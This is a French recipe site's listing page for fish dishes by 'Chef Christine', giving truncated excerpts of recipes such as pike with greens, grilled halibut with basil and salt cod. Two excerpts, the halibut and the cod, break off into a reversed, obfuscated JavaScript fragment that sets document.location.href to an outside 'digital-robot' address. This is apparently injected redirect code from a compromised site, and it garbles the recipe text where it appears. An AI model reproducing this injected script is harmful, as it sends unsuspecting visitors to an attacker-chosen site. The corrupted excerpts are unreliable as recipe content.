Chef Christine
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Toutes les recettes et articles de Christine
Brochet au vert
Videz et parez le brochet. Équeutez, rincez les épinards, le persil, l’estragon, et la menthe. ...
Christine Lire la suiteDorade royale, sauce a la cardamome
Rincez, séchez, salez et poivrez l’intérieur, l’extérieur du poisson. Malaxez le beurre jusqu’à en obtenir ...
Christine Lire la suiteFilets de flétan grillés au basilic
Rincez, séchez, effeuillez le basilic. Rincez, essorez les feuilles d’épinards. Pelez, épépinez, émincez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...
Christine Lire la suiteFilet de perche aux herbes
Pressez le citron. Hachez l’oignon. citronner la chair de poisson. Salez, poivrez. Ciselez les herbes. ...
Christine Lire la suiteHaddock au curry
Découpez les poissons en cubes, et faites-les tremper dans du lait pendant 2 heures. Égouttez, ...
Christine Lire la suiteGrondins au beurre d’anchois
Videz, rincez, salez et poivrez, extérieur et intérieur les grondins. Mélangez le thym avec les ...
Christine Lire la suiteTartare de dorade avec des courgettes
Pelez et coupez les courgettes en fines lamelles, faites-les blanchir 2 minutes dans de l’eau ...
Christine Lire la suiteCivet de thon frais
Salez, poivrez le morceau de thon, ficelez en rôti. Faites-le revenir dans l’huile d’olive, sur ...
Christine Lire la suiteEffeuillé de morue
Enlevez l’excédent de sel des filets de morue en les frottant à l’aide d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...
Christine Lire la suiteGrillade de thon rouge aux herbes de Provence
Répartissez généreusement sur la darne de thon, d’herbes de Provence, salez, poivrez .Faites la griller ...
Christine Lire la suiteLes Recettes
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